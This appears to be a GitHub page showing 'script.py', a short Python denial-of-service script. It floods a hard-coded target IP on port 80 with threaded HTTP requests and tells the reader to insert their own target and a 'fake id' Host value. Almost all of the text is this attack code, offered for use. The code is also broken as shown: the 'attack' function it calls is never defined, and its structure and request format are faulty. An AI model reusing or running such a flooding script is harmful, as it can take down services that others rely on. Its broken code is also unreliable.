-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.py
28 lines (23 loc) · 842 Bytes
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# make sure you have these packages (i think)
import threading
import socket
# Enter target, port, and fake id here (you will send requests using the fake id)
# I have added samples, but change those values
target = "172.31.198.130"
port = 80
fake_id = "192.168.45.128"
# just some normal variable
already_connected = 0
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + "HTTP/1.1\r\n").encode("ascii"), (target, port))
s.sendto(("Host: " + fake_id + "\r\n\r\n").encode("ascii"), (target, port))
s.close()
global already_connected
already_connected += 1
if already_connected % 500 == 0:
print(already_connected)
for i in range(500):
thred = threading.Thread(target=attack)
thred.start()